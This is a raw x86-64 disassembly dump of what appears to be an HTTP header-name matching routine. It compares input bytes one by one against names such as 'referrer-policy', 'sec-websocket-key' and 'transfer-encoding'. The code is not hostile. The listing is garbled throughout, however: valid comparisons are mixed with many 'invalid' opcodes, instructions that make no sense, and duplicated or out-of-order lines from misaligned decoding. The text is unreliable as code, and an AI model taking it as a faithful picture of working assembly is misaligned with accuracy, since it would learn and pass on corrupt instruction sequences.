add byte [rax], al
cmp byte [rcx + 8], 0x74
jne case.0x14002ec2e.103
jns 0x1400300e6
je 0x1400300ef
test dword [rsp + rcx], esi
add byte [rax + 0xf2d0979], al
test dword [rdx + 0xc], ebp
cmp byte [rcx + 9], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
jns 0x1400300f1
sub eax, 0xc6a850f
add byte [rax], al
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
invalid
or dh, byte [rdi + rcx - 0x7b]
invalid
add byte [rax + 0xf790b79], al
cmp byte [rcx + 0xb], 0x79
jne case.0x14002ec2e.103
or edi, dword [rcx + 0xf]
test dword [rsi + 0xc], edx
add byte [rax], al
cmp byte [rcx + 0xc], 0x70
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x65
jne case.0x14002ec2e.103
or al, 0
invalid
or al, 0
add byte [rax + 0xf2d0e79], al
invalid
invalid
invalid
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002ec2e.103
test dword [rax], edi
or al, 0
invalid
test dword [rax], edi
or al, 0
add byte [rax + 0xf6f0f79], al
invalid
test dword [rsi], ebp
cmp byte [rcx + 0xf], 0x6f
jne case.0x14002ec2e.103
or al, 0
add byte [rax + 0xf701079], al
test dword [rsp + rcx], esp
add byte [rax], al
cmp byte [rcx + 0x10], 0x70
jne case.0x14002ec2e.103
cmp byte [rcx + 0x11], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 0x12], 0x69
jne case.0x14002ec2e.103
test dword [rax], edx
or al, 0
invalid
test dword [rax], edx
or al, 0
add byte [rax + 0xf6f1379], al
test dword [rsi], eax
or al, 0
add byte [rax + 0xf6e1479], al
cmp byte [rcx + 0x14], 0x6e
invalid
test esp, edi
or eax, dword [rax]
invalid
cmp byte [rcx + 0x13], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x6e
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0x4173b24d], dh
mov eax, 0x15
mov al, 0x4d
mov dl, 0x73
mov r8d, 0x15
jmp 0x14002e323
cmp byte [rcx + 1], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x66
jne case.0x14002ec2e.103
add ah, byte [rsi + 0xf]
test ecx, ebx
or eax, dword [rax]
add byte [rax + 0xf650379], al
cmp byte [rcx + 3], 0x65
invalid
test edi, ecx
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
or eax, dword [rax]
invalid
jne case.0x14002ec2e.103
or eax, dword [rax]
add byte [rax + 0xf720479], al
test ebp, eax
or eax, dword [rax]
add byte [rax + 0xf720579], al
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 4], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x65
jne case.0x14002ec2e.103
invalid
mov cl, 0xb
add byte [rax], al
jns 0x1400301a7
jne case.0x14002ec2e.103
test dword [rcx - 0x7ffffff5], esi
jns 0x1400301b2
add byte [rax + 0xf720779], al
cmp byte [rcx + 7], 0x72
jne case.0x14002ec2e.103
jb case.0x14002bbcb.120
test dword [rdi - 0x7ffffff5], esp
jns 0x1400301bd
invalid
cmp byte [rcx + 8], 0x2d
jne case.0x14002ec2e.103
or byte [0x14ba086c9], ch
sub eax, 0xb9d850f
add byte [rax], al
cmp byte [rcx + 9], 0x70
jne case.0x14002ec2e.103
invalid
xchg ebx, eax
or eax, dword [rax]
add byte [rax], al
jns 0x1400301c8
jo 0x1400301d0
test dword [rbx - 0x7ffffff5], edx
jns 0x1400301d3
add byte [rax], al
cmp byte [rcx + 0xa], 0x6f
or ch, byte [rdi + 0xf]
test dword [rcx - 0x7ffffff5], ecx
jns 0x1400301de
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x6c
insb byte [rdi], dx
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0xc], 0x69
jns 0x1400301e9
imul ecx, dword [rdi], 0xb7585
add byte [rax + 0xf630d79], al
cmp byte [rcx + 0xd], 0x63
invalid
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x63
jne case.0x14002ec2e.103
invalid
test dword [rbx + 0xb], ebp
add byte [rax], al
invalid
add byte [rax + 0x4179b238], dh
mov al, 0x38
mov dl, 0x79
jns 0x140030234
mov eax, 0xe
cmp byte [rdx + 0xeb84179], dh
add byte [rax], al
add cl, ch
loope 0x1400301fb
jns 0x140030234
mov eax, 0xe
jmp 0x14002e323
invalid
inc dword [rax + 0xf750179]
test dword [rdx + 0xb], edx
or eax, dword [rax]
invalid
cmp byte [rcx + 1], 0x75
jne case.0x14002ec2e.103
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rax + 0xf620279], al
add ah, byte [rdx + 0xf]
cmp byte [rcx + 2], 0x62
add ah, byte [rdx + 0xf]
invalid
jne case.0x14002ec2e.103
test dword [rax + 0xb], ecx
add byte [rax], al
cmp byte [rcx + 3], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x69
jne case.0x14002ec2e.103
jns 0x140030222
imul ecx, dword [rdi], 0xb3485
or eax, dword [rax]
add byte [rax + 0xf630579], al
test dword [rdx], ebp
or eax, dword [rax]
add byte [rax + 0xf2d0679], al
cmp byte [rcx + 5], 0x63
jne case.0x14002ec2e.103
jns 0x14003022d
invalid
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
test dword [rax], esp
or eax, dword [rax]
add byte [rax + 0xf6b0779], al
test dword [rsi], edx
or eax, dword [rax]
invalid
cmp byte [rcx + 7], 0x6b
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf650879], al
cmp byte [rcx + 8], 0x65
jne case.0x14002ec2e.103
test dword [rbx + rcx], ecx
add byte [rax], al
test dword [rbx + rcx], ecx
add byte [rax], al
cmp byte [rcx + 9], 0x79
jne case.0x14002ec2e.103
add byte [rax], al
jns 0x140030261
test dword [rdx], eax
or eax, dword [rax]
invalid
add byte [rax], al
add byte [rax + 0xf2d0a79], al
test eax, edi
or al, byte [rax]
cmp byte [rcx + 0xa], 0x2d
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf700b79], al
cmp byte [rcx + 0xb], 0x70
jne case.0x14002ec2e.103
jo 0x140030275
test esi, ebp
or al, byte [rax]
add byte [rax + 0xf690c79], al
or al, 0x69
invalid
test esp, esp
invalid
cmp byte [rcx + 0xc], 0x69
or al, 0x69
jne case.0x14002ec2e.103
in al, 0xa
add byte [rax], al
or al, byte [rax]
add byte [rax + 0xf6e0d79], al
jne case.0x14002ec2e.103
mov al, 0x34
invalid
test byte [rax], al
cmp byte [rcx + 0xd], 0x6e
jne case.0x14002ec2e.103
mov al, 0x34
jmp 0x14003030a
xor al, 0xe9
test byte [rax], al
add byte [rax], al
cmp byte [rcx + 1], 0x2d
jns 0x14003028a
sub eax, 0xac9850f
add byte [rax], al
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x66
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x61
jns 0x1400302ab
add al, 0x61
invalid
jne case.0x14002ec2e.103
or al, byte [rax]
add byte [rax + 0xf6d0579], al
test dword [rcx - 0x7ffffff6], esp
cmp byte [rcx + 5], 0x6d
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x65
jne case.0x14002ec2e.103
xchg edi, eax
or al, byte [rax]
invalid
jns 0x1400302c1
jne case.0x14002ec2e.103
xchg edi, eax
or al, byte [rax]
add byte [rax + 0xf2d0779], al
test dword [rbp - 0x7ffffff6], ecx
jns 0x1400302d7
cmp byte [rcx + 7], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
test dword [rbx - 0x7ffffff6], eax
cmp byte [rcx + 9], 0x70
jne case.0x14002ec2e.103
jns 0x1400302e2
jo case.0x14002bbcb.129
test dword [rcx + 0xa], edi
add byte [rax], al
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
invalid
or dh, byte [rdi + rcx - 0x7b]
outsd dx, dword [rsi]
or al, byte [rax]
add byte [rax + 0xf690b79], al
cmp byte [rcx + 0xb], 0x69
jne case.0x14002ec2e.103
test dword [rbp + 0xa], esp
add byte [rax], al
jns 0x1400302f8
imul ecx, dword [rdi], 0xa6585
add byte [rax + 0xf6f0c79], al
jns 0x140030303
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
test dword [rbp + 0xa], esp
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jns 0x140030303
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
or al, byte [rax]
add byte [rax + 0xf6e0d79], al
cmp byte [rcx + 0xd], 0x6e
jne case.0x14002ec2e.103
or al, byte [rax]
invalid
test dword [rcx + 0xa], edx
or al, byte [rax]
add byte [rax], al
add byte [rax + 0x4173b24f], dh
mov eax, 0xe
add byte [rax], al
invalid
mov al, 0x4f
mov dl, 0x73
mov r8d, 0xe
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
or al, 0xe0
invalid
jmp 0x14002e323
loopne 0x140030315
invalid
inc dword [rax + 0xf660179]
test dword [rax], edi
or al, byte [rax]
cmp byte [rcx + 1], 0x66
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf2d0279], al
test dword [rsi], ebp
or al, byte [rax]
add byte [rax + 0xf6e0379], al
cmp byte [rcx + 3], 0x6e
invalid
cmp byte [rcx + 2], 0x2d
jne case.0x14002ec2e.103
add ch, byte [0x14a318838]
add byte [rax], al
cmp byte [rcx + 3], 0x6e
jne case.0x14002ec2e.103
test dword [rdx + rcx], esp
add byte [rax], al
test dword [rdx + rcx], esp
and al, 0xa
or al, byte [rax]
add byte [rax + 0xf6f0479], al
cmp byte [rcx + 4], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 6], 0x65
invalid
test dword [rsi], eax
or al, byte [rax]
add byte [rax], al
cmp byte [rcx + 4], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 6], 0x65
jne case.0x14002ec2e.103
jns 0x140030352
jne case.0x14002ec2e.103
add byte [rax + 0xf2d0779], al
test esp, edi
or dword [rax], eax
invalid
cmp byte [rcx + 7], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf6d0879], al
test edx, esi
or dword [rax], eax
cmp byte [rcx + 8], 0x6d
jne case.0x14002ec2e.103
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rax + 0xf610979], al
test eax, ebp
or dword [rax], eax
cmp byte [rcx + 9], 0x61
jne case.0x14002ec2e.103
invalid
jns 0x140030373
invalid
add byte [rax + 0xf740a79], al
test esi, ebx
invalid
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
fimul word [rcx]
add byte [rax], al
or dh, byte [rdi + rcx - 0x7b]
fimul word [rcx]
add byte [rax], al
or dword [rax], eax
add byte [rax + 0xf630b79], al
test esp, edx
or dword [rax], eax
add byte [rax + 0x4168b229], dh
mov eax, 0xc
add byte [rax], al
invalid
cmp byte [rcx + 0xb], 0x63
jne case.0x14002ec2e.103
mov al, 0x29
mov dl, 0x68
mov r8d, 0xc
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
jmp 0x14002e323
dec dword [rdi]
mov dh, 0x51
add dword [rbx - 0x7bf09e06], eax
iretd
movzx edx, byte [rcx + 1]
cmp edx, 0x61
je case.0x14001d534.461
cmp edx, 0x6f
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
movsd dword [rdi], dword [rsi]
or dword [rax], eax
invalid
movsd dword [rdi], dword [rsi]
or dword [rax], eax
add byte [rax + 0xf740379], al
cmp byte [rcx + 3], 0x74
jne case.0x14002ec2e.103
invalid
jns 0x1400303c5
cmp byte [rcx + 3], 0x74
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
invalid
jne case.0x14002ec2e.103
or dword [rax], eax
add byte [rax + 0xf6e0579], al
test dword [rdi - 0x7ffffff7], eax
add byte [rax], al
invalid
jns 0x1400303db
cmp byte [rcx + 5], 0x6e
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14002ec2e.103
je 0x1400303e6
test dword [rbp + 9], edi
add byte [rax], al
add byte [rax + 0xf2d0779], al
test dword [rbx + 9], esi
add byte [rax], al
cmp byte [rcx + 7], 0x2d
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x72
jne case.0x14002ec2e.103
invalid
or dword [rax], eax
invalid
or byte [rdx + 0xf], dh
test dword [rcx + 9], ebp
invalid
or dword [rax], eax
invalid
imul ecx, dword [rcx], 0x79800000
or dword [rcx + 0xf], esp
test dword [rdi + 9], ebx
cmp byte [rcx + 9], 0x61
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x67
jns 0x140030412
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
or dword [rax], eax
add byte [rax + 0x4165b21a], dh
mov eax, 0xc
or al, 0
add byte [rax], al
mov al, 0x1a
mov dl, 0x65
mov r8d, 0xc
or al, 0
add byte [rax], al
jmp 0x14002e323
inc dword [rax + 0xf650179]
cmp byte [rcx + 1], 0x65
add dword [rbp + 0xf], esp
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
test dword [rdx], esi
or dword [rax], eax
add byte [rax + 0xf630279], al
cmp byte [rcx + 2], 0x63
invalid
test dword [rax], ebp
or dword [rax], eax
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf2d0379], al
test dword [rsi], ebx
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rax + 0xf770479], al
cmp byte [rcx + 4], 0x77
jne case.0x14002ec2e.103
cmp byte [rcx + 4], 0x77
add al, 0x77
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x62
jne case.0x14002ec2e.103
or dword [rax], eax
add byte [rax + 0xf730779], al
test esi, esi
or byte [rax], al
add byte [rax + 0xf6f0879], al
test esp, ebp
in al, dx
add byte [rax], al
cmp byte [rcx + 7], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002ec2e.103
in al, dx
or byte [rax], al
invalid
in al, dx
or byte [rax], al
add byte [rax], al
add byte [rax + 0xf630979], al
cmp byte [rcx + 9], 0x63
jne case.0x14002ec2e.103
test edx, esp
or byte [rax], al
invalid
test edx, esp
or byte [rax], al
add byte [rax + 0xf6b0a79], al
test eax, ebx
or byte [rax], al
loop 0x14003047d
add byte [rax], al
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002ec2e.103
invalid
fmul dword [rax]
add byte [rax], al
invalid
add byte [rax + 0xf650b79], al
test esi, ecx
or byte [rax], al
add byte [rax + 0xf740c79], al
or al, 0x74
invalid
cmp byte [rcx + 0xb], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x74
or al, 0x74
je 0x14003049f
jne case.0x14002ec2e.103
test esp, eax
or byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002ec2e.103
or byte [rax], al
invalid
invalid
jns case.0x14002bbcb.94
invalid
add byte [rax], al
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002ec2e.103
or byte [rax], al
invalid
or byte [rax], al
add byte [rax + 0xf6b0e79], al
invalid
imul ecx, dword [rdi], 0xffffff85
mov al, 8
add byte [rax], al
invalid
jns 0x1400304bb
invalid
cmp byte [rcx + 0xe], 0x6b
jne case.0x14002ec2e.103
mov al, 8
add byte [rax], al
invalid
imul ecx, dword [rdi], 0xffffff85
mov al, 8
add byte [rax], al
cmp byte [rcx + 0xf], 0x65
jne case.0x14002ec2e.103
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
invalid
pcmpgtw mm1, qword [rdi]
test dword [rsi - 0x4ffffff8], esp
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
add byte [rax + 0x4179b23d], dh
invalid
adc byte [rax], al
jne case.0x14002ec2e.103
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
add byte [rax + 0x4179b23d], dh
mov al, 0x3d
mov dl, 0x79
mov r8d, 0x10
mov eax, 0x10
mov eax, 0x10
add byte [rax], al
jmp 0x14002e323
fdivp st(7)
inc dword [rax + 0xf610179]
test dword [rbp - 0x7ffffff8], ecx
lea ecx, [rax]
add byte [rax], al
invalid
invalid
cmp byte [rcx + 1], 0x61
jne case.0x14002ec2e.103
lea ecx, [rax]
add byte [rax], al
invalid
invalid
lea ecx, [rax]
add byte [rax], al
invalid
add byte [rax + 0xf730279], al
cmp byte [rcx + 2], 0x73
jne case.0x14002ec2e.103
add byte [rax], al
jns 0x1400304d1
jae 0x1400304e0
test dword [rbx - 0x7ffffff8], eax
jns case.0x140028def.221
add byte [rax], al
cmp byte [rcx + 3], 0x74
jne case.0x14002ec2e.103
test dword [rcx + 8], edi
add byte [rax], al
je 0x1400304ea
test dword [rcx + 8], edi
jns 0x1400304e6
or byte [rax], al
add byte [rax + 0xf2d0479], al
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 4], 0x2d
jne case.0x14002ec2e.103
outsd dx, dword [rsi]
or byte [rax], al
add byte [rax + 0xf6d0579], al
test dword [rbp + 8], esp
or byte gs:[rax], al
invalid
cmp byte [rcx + 5], 0x6d
jne case.0x14002ec2e.103
or byte gs:[rax], al
invalid
or byte gs:[rax], al
add byte [rax + 0xf6f0679], al
invalid
cmp byte [rcx + 6], 0x6f
jne case.0x14002ec2e.103
test dword [rbx + 8], ebx
add byte [rax], al
cmp byte [rcx + 7], 0x64
jne case.0x14002ec2e.103
push rcx
or byte [rax], al
invalid
invalid
push rcx
or byte [rax], al
add byte [rax + 0xf690879], al
cmp byte [rcx + 8], 0x69
jne case.0x14002ec2e.103
test dword [rdi + 8], eax
add byte [rax], al
test dword [rdi + 8], eax
or byte [rax], al
add byte [rax + 0xf660979], al
or dword [rsi + 0xf], esp
add byte [rax], al
cmp byte [rcx + 9], 0x66
jne case.0x14002ec2e.103
or dword [rsi + 0xf], esp
test dword [0xc0030525], edi
jns case.0x14002a5a1.90
cmp byte [rcx + 0xa], 0x69
imul ecx, dword [rdi], 0x83385
add byte [rax + 0xf650b79], al
jne case.0x14002ec2e.103
mov al, 0x2c
mov dl, 0x64
mov r8d, 0xc
add byte [rax], al
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
mov al, 0x2c
mov dl, 0x64
mov r8d, 0xc
add byte [rax], al
add byte [rax], al
jmp 0x14002e323
cmp byte [rcx + 1], 0x66
jne case.0x14002ec2e.103
test dword [rax], edx
or byte [rax], al
invalid
test dword [rax], edx
or byte [rax], al
add byte [rax + 0xf2d0279], al
sub eax, 0x806850f
add byte [rax], al
cmp byte [rcx + 3], 0x6d
invalid
test esp, edi
cmp byte [rcx + 2], 0x2d
jne case.0x14002ec2e.103
sub eax, 0x806850f
add byte [rax], al
cmp byte [rcx + 3], 0x6d
jns 0x140030559
insd dword [rdi], dx
jne case.0x14002ec2e.103
cld
invalid
cmp byte [rcx + 4], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 5], 0x64
jne case.0x14002ec2e.103
add byte [rax], al
jns case.0x14002bbfd.105
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax + 0xf690679], al
test esi, ebx
invalid
cmp byte [rcx + 6], 0x69
jne case.0x14002ec2e.103
cmp byte [rcx + 7], 0x66
jne case.0x14002ec2e.103
test esp, edx
invalid
add byte [rax], al
invalid
test esp, edx
invalid
invalid
add byte [rax + 0xf690879], al
test edx, ecx
invalid
cmp byte [rcx + 8], 0x69
jne case.0x14002ec2e.103
retf 7
invalid
retf 7
invalid
add byte [rax], al
cmp byte [rcx + 9], 0x65
jne case.0x14002ec2e.103
test eax, eax
invalid
add byte [rax], al
invalid
test eax, eax
invalid
add byte [rax + 0xf640a79], al
test dword [rsi - 0x7ffffff9], esi
add byte [rax], al
invalid
jns 0x1400305b1
cmp byte [rcx + 0xa], 0x64
jne case.0x14002ec2e.103
add byte [rax], al
or ah, byte [rdi + rcx - 0x7b]
mov dh, 7
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0xb], 0x2d
sub eax, 0x7ac850f
add byte [rax], al
jne case.0x14002ec2e.103
test dword [rdi + rax + 0x79800000], ebp
or al, 0x73
lodsb al, byte [rsi]
invalid
cmp byte [rcx + 0xc], 0x73
jne case.0x14002ec2e.103
movabs byte [0xf690d7980000007], al
invalid
cmp byte [rcx + 0xd], 0x69
jne case.0x14002ec2e.103
invalid
cwde
invalid
add byte [rax], al
jns 0x1400305c7
imul ecx, dword [rdi], 0x79885
add byte [rax + 0xf6e0e79], al
cmp byte [rcx + 0xe], 0x6e
jne case.0x14002ec2e.103
invalid
test dword [rax - 0x7ffffff9], ebx
cwde
invalid
cmp byte [rcx + 0xe], 0x6e
jns 0x1400305d2
invalid
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
mov es, word [rdi]
add byte [rax], al
cmp byte [rcx + 0xf], 0x63
jne case.0x14002ec2e.103
jns 0x1400305dd
invalid
invalid
mov al, 0x28
mov dl, 0x65
invalid
mov r8d, 0x10
mov r8d, 0x10
add byte [rax], al
add cl, ch
jmp 0x14002e323
invalid
cmp byte [rcx + 1], 0x72
jne case.0x14002ec2e.103
test dword [rbx + 7], ebp
add byte [rax], al
cmp byte [rcx + 2], 0x61
jne case.0x14002ec2e.103
test dword [rcx + 7], esp
add byte [rax], al
invalid
test dword [rcx + 7], esp
add byte [rax], al
invalid
invalid
cmp byte [rcx + 3], 0x6e
jns 0x1400305fe
add ebp, dword [rsi + 0xf]
test dword [rdi + 7], edx
invalid
add byte [rax], al
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
push rdi
invalid
add byte [rax + 0xf730479], al
test dword [rbp + 7], ecx
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 5], 0x66
jne case.0x14002ec2e.103
invalid
jns 0x140030614
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax + 0xf650679], al
cmp byte [rcx + 6], 0x65
jne case.0x14002ec2e.103
test dword [rcx], edi
invalid
add byte [rax], al
invalid
test dword [rcx], edi
invalid
cmp dword [rdi], eax
add byte [rax], al
cmp byte [rcx + 7], 0x72
jne case.0x14002ec2e.103
add byte [rax + 0xf2d0879], al
test dword [0xc003063c], esp
invalid
add byte [rax], al
invalid
jns 0x140030640
cmp byte [rcx + 8], 0x2d
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 9], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
test dword [rbx], ebx
invalid
add byte [rax + 0xf6e0a79], al
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002ec2e.103
test dword [rcx], edx
invalid
add byte [rax], al
or ch, byte [rsi + 0xf]
test dword [rcx], edx
invalid
adc dword [rdi], eax
add byte [rax], al
cmp byte [rcx + 0xb], 0x63
jne case.0x14002ec2e.103
test dword [rdi], eax
invalid
add byte [rax], al
test dword [rdi], eax
invalid
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jns case.0x14002a5ee.206
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 0xd], 0x64
jne case.0x14002ec2e.103
test ebx, esi
invalid
cmp byte [rcx + 0xe], 0x69
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax], al
jns 0x140030677
imul ecx, dword [rdi], 0x6e985
add byte [rax + 0xf6e0f79], al
jns 0x140030682
outsb dx, byte [rsi]
invalid
jmp 0xc0030677
invalid
cmp byte [rcx + 0xf], 0x6e
jns 0x140030682
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
test edi, ebx
invalid
mov al, 0x45
mov dl, 0x67
mov r8d, 0x10
invalid
mov r8d, 0x10
add byte [rax], al
add cl, ch
invalid
jmp 0x14002e323
fdiv st(7), st(0)
inc dword [rax + 0xf720179]
cmp byte [rcx + 1], 0x72
invalid
test esi, eax
invalid
invalid
cmp byte [rcx + 1], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x6f
jne case.0x14002ec2e.103
invalid
invalid
invalid
add byte [rax], al
test dword [rsi + rax + 0x25b00000], edi
mov al, 0x25
mov dl, 0x6d
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
jmp 0x14002e323
ja 0x140030686
invalid
cmp byte [rcx + 1], 0x61
jne case.0x14002ec2e.103
test dword [rbx - 0x7ffffffa], esp
add byte [rax + 0xf720279], al
cmp byte [rcx + 2], 0x72
jne case.0x14002ec2e.103
invalid
add byte [rax], al
jns 0x1400306bb
jb 0x1400306ca
test dword [rcx - 0x4ffffffa], ebx
mov r10b, 0x79
invalid
add byte [rax], al
mov al, 0x49
mov dl, 0x79
mov r8d, 3
jmp 0x14002e323
invalid
cmp byte [rcx + 1], 0x65
jne case.0x14002ec2e.103
add byte [rsi], 0
invalid
add dword [rbp + 0xf], esp
test dword [rax - 0x7ffffffa], eax
add byte [rsi], 0
invalid
invalid
add byte [rsi], 0
add byte [rax + 0xf660279], al
jns 0x1400306de
invalid
invalid
cmp byte [rcx + 2], 0x66
jns 0x1400306de
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
test dword [rsi + 6], esi
add byte [rax], al
movzx edx, byte [rcx + 3]
cmp edx, 0x72
je 0x140030bd3
add al, 0
invalid
add al, 0
add byte [rbx - 0x7af09a06], al
cli
invalid
invalid
invalid
cmp edx, 0x65
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax], al
cli
jne case.0x14002ec2e.103
invalid
invalid
add byte [rax], al
invalid
cmp byte [rcx + 4], 0x72
add al, 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002ec2e.103
add eax, 0x4c850f65
invalid
jne case.0x14002ec2e.103
mov al, 0x37
jmp 0x140030810
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf610179], al
cmp byte [rcx + 1], 0x61
invalid
cmp byte [rcx + 1], 0x61
jne case.0x14002ec2e.103
test dword [rbx], edi
invalid
add byte [rax], al
invalid
test dword [rbx], edi
invalid
cmp byte [rcx + 2], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x6e
jne case.0x14002ec2e.103
add byte [rax + 0xf690479], al
test dword [0xc0030743], ebx
imul ecx, dword [rdi], 0x61d85
add byte [rax + 0xf6e0579], al
jns 0x140030744
outsb dx, byte [rsi]
invalid
test dword [rbx], edx
jns 0x140030744
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
invalid
add byte [rax], al
invalid
add byte [rax], al
mov al, 0x4b
mov dl, 0x67
mov r8d, 6
jmp 0x14002e323
invalid
invalid
invalid
invalid
invalid
cmp byte [rcx + 1], 0x74
jne case.0x14002ec2e.103
cli
add eax, 0x79800000
cmp byte [rcx + 2], 0x61
jne case.0x14002ec2e.103
add ah, byte [rcx + 0xf]
test eax, esi
add eax, 0x21b00000
mov al, 0x21
mov dl, 0x67
mov r8d, 3
jmp 0x14002e323
cmp byte [rcx + 1], 0x78
jne case.0x14002ec2e.103
test edi, edx
invalid
add byte [rax], al
invalid
test edi, edx
add eax, 0x79800000
add byte [rax + 0xf700279], al
add byte [rax + 0xf700279], al
cmp byte [rcx + 2], 0x70
jne case.0x14002ec2e.103
test ebp, ecx
add eax, 0x79800000
add ebp, dword [rcx + 0xf]
test ebx, eax
add eax, 0x79800000
add al, 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x69
jne case.0x14002ec2e.103
add byte [rax + 0xf720479], al
test dword [rcx - 0x7ffffffb], edi
jns 0x1400307a8
cmp byte [rcx + 5], 0x65
jne case.0x14002ec2e.103
invalid
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax + 0x4173b223], dh
mov eax, 6
mov al, 0x23
mov dl, 0x73
mov r8d, 6
jmp 0x14002e323
cmp byte [rcx + 1], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x73
jne case.0x14002ec2e.103
mov al, 0x26
mov dl, 0x74
mov r8d, 3
jmp 0x14002e323
cmp byte [rcx + 1], 0x72
jns 0x1400307e0
jb 0x1400307f0
jne case.0x14002ec2e.103
test dword [rbx + 5], esi
add byte [rax], al
cmp byte [rcx + 2], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x69
jne case.0x14002ec2e.103
test dword [rdi + 5], ebx
add byte [rax], al
test dword [rdi + 5], ebx
add byte [rax], al
cmp byte [rcx + 4], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002ec2e.103
mov al, 0x44
mov dl, 0x72
mov r8d, 6
jmp 0x14002e323
cmp byte [rcx + 1], 0x69
jne case.0x14002ec2e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
mov al, 0x2d
